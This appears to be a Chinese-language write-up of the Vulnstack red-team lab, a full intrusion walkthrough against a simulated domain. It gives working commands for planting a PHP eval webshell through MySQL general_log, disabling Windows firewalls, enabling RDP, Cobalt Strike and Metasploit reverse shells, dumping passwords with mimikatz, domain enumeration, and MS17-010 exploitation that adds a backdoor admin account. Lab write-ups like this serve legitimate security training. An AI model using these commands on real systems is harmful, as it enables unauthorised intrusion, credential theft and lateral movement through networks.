环境搭建
靶场链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 环境拓扑图: 以下是虚拟机网络配置
虚拟机 | 网络配置 |
---|
Windows7 x64 | VMnet1:192.168.52.128;VMnet2:192.168.54.143 | Win2k3 Measploitable | VMnet1:192.168.52.141 | Windows Server 2008 R2 x64 | VMnet1:192.168.52.138 | kali | VMnet2:192.168.54.128 |
刚开机时,需要在Windows7中开启phpstudy,phpstudy在c盘下
信息收集
通过nmap收集到开启的服务有web服务以及mysql服务 扫描站点 经过整理得到三条信息: 1)beifen.rar 站点备份压缩包 2)http://192.168.54.128/phpmyadmin/index.php mysql登录后台页面 3)http://192.168.54.128/phpinfo.php php信息
1)备份压缩包里面有一个命名为yxcms的目录 从这里我们可以得到站点的架构以及信息 在升级日志中可以得知yxcms版本为1.2.1
在protected中的config文件里得到mysql的账号密码信息 2)访问mysql,输入账号密码,成功登录 获取到mysql版本信息
访问newyxcms库中的yx_admin表得到密码168a73655bfecefdb15b14984dd2ad60,猜测应该是做过md5加密,进行解密 得到密码:949ba59abbe56e05
3)phpinfo中,通过路径得知该服务器是Windows系统
通过查询yxcms版本我们进一步获取信息 后台地址,默认账号密码 查询yxcms1.2.1已知漏洞
漏洞利用
数据库弱密码,获取getshell
数据库默认密码root这个就不说了,获取getshell。
select '<?php eval($_POST[shell])?>' into outfile '路径' //需要知道绝对路径
报错,没有权限。
show variables like '%general%'; //查看全局日志是否开启
set global general_log=on//开启全局日志
set global general_log_file="c://phpstudy/www/1.php"//指定新的日志路径
select '<?php eval($_POST[shell])?>'; //查找一句话木马,会将一句话木马记录在全局日志中
连接webshell
XSS
浏览站点,留言本可能存在xss漏洞,进行测试
默认密码
尝试登录后台,将我们从数据库获取到的密码输入进去,发现密码错误,通过特征猜测应该进行了二次加密。 输入默认密码,成功登录后台 浏览留言本,发现我们的xss语句被执行
获取webshell
在前台模板中发现可以新建php文件 新建php文件,写入一句话木马 通过内容对比可以获得前台模板default的url为
连接木马,得到webshell
后渗透
获取getshell
关闭防火墙,开启3389
NetSh Advfirewall set allprofiles state off //关闭防火墙
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 //开启3389
打开cs,设置监听 填入以下参数,保存 点击attack,选择Web Drive-by,Scripted Web Delivery 监听设置我们刚刚设置的监听,无误后点击Launch 复制框框内的代码 粘贴到webshell的终端,回车,返回cs即可看到128已经反向连接到我们cs上
cs联动msf
msfconsole //开启msf控制台
use exploit/multi/handler //使用模块
set lhost 192.168.54.129 //设置本机IP
set lport 8888 //设置端口
set payload windows/meterpreter/reverse_tcp //设置payload
run //运行
cs新增监听 监听IP,端口,payload需与msf一致,保存 右键点击spawn 选择msf,点击choose 返回msf,连接成功
getsystem //获取system权限
返回cs,设置代理,在内网中使用msf
socks 8888 //8888是端口
打开view,选择Proxy Pivots,选择下面的类型为socks4aproxy,点击Tunnel。 复制下面命令,返回msf
background //返回上层
setg Proxies socks4:192.168.54.129:8888 //粘贴命令
setg ReverseAllowProxy true //设置反向代理
新开一个终端,vi /etc/proxychains4.conf ,去掉dynamic_chain 在[ProxyList]下添加socks4 127.0.0.1 8888 wq保存
提权
获取密码,右键点击access,选择run mimikatz 得到密码为HelloWorld123 远程连接
内网信息收集
run post/windows/gather/enum_applications //查看安装信息
shell net config workstation //主机信息
shell ipconfig /all //查看ip信息
可以看到有两个可用的网卡,第一个是跟我们kali同个网段(192.168.54.0/24)的网卡,属于外网;第二个是192.168.52.0/24的内网。
shell net user //查看主机用户
shell net localgroup administrators //查看管理组成员
shell net user /domain //查看域用户
shell net user /domain 用户名
shell net view /domain //查看域的数量
shell net group "domain computers" /domain //查看域内的主机
shell net group "domain admins" /domain //查看域内管理员
用cs无法请求到,可以直接在webshell中请求
shell net group "domain controllers" /domain //查看域控
找到nmap的路径
shell //使用终端
nmap -Pn 192.168.52.0/24 //扫描网段
nmap --script=vuln -Pn 192.168.52.0/24 //扫描主机漏洞
收集的信息如下:
内网IP网段 | 192.168.52.0/24 |
---|
域 | GOD | 域内用户 | Administrator,ligang ,liukaifeng01 | 域内主机 | OWA$(192.168.52.138), ROOT-TVI862UBEH$(192.168.52.141), STU1$(本机) | 域控 | OWA$ | 域内管理员 | administrator |
可能存在的漏洞:
OWA$(192.168.52.138) | ROOT-TVI862UBEH$(192.168.52.141) |
---|
ms17-010 | ms17-010 | - | ms08-067 |
测试漏洞
从nmap中扫描出来的漏洞我们依次进行测试。
ms17-010
search ms17-010 //查找ms17-010模块
use auxiliary/scanner/smb/smb_ms17_010 //使用此模块
set rhosts 192.168.52.138 192.168.52.141 //将rhosts参数设置为138 141两个IP
run //运行
检测到这两个IP都存在此漏洞,且得到这两个IP的版本信息
192.168.52.138 | 192.168.52.141 |
---|
Windows Server 2008 R2 Datacenter 7601 Service | Windows Server 2003 3790 | x64 | x86 |
192.168.52.138
use auxiliary/admin/smb/ms17_010_command //使用该模块
show options //查看配置
set command net user hacker h@cker123 /add //添加用户
set rhosts 192.168.52.138 //添加目标IP
run //运行
set command net localgroup administrators hacker /add //将hacker添加到管理组
run //运行
set command net localgroup administrators //查看管理组成员
run //运行
set command NetSh Advfirewall set allprofiles state off //关闭防火墙
run //运行
use exploit/windows/smb/ms17_010_psexec //使用该模块
show options //查看配置
set rhosts 192.168.52.138 //设置目标IP
set payload windows/meterpreter/bind_tcp //选择正向连接
run //运行
run post/windows/manage/enable_rdp //开启3389
netstat -ano //查看端口开放
新开一个终端,输入proxychains redsktop 192.168.52.138 这里也可以用我们刚刚建好的hacker登录,但为了不被管理员发现,就不进行登录。
192.168.52.141
141的步骤跟上面的也差不多,不过经常容易蓝屏且失败,有兴趣的童鞋可以多试试。不过要注意的是141是x86,而kali并没有包含x86的payload,需要自行下载。
|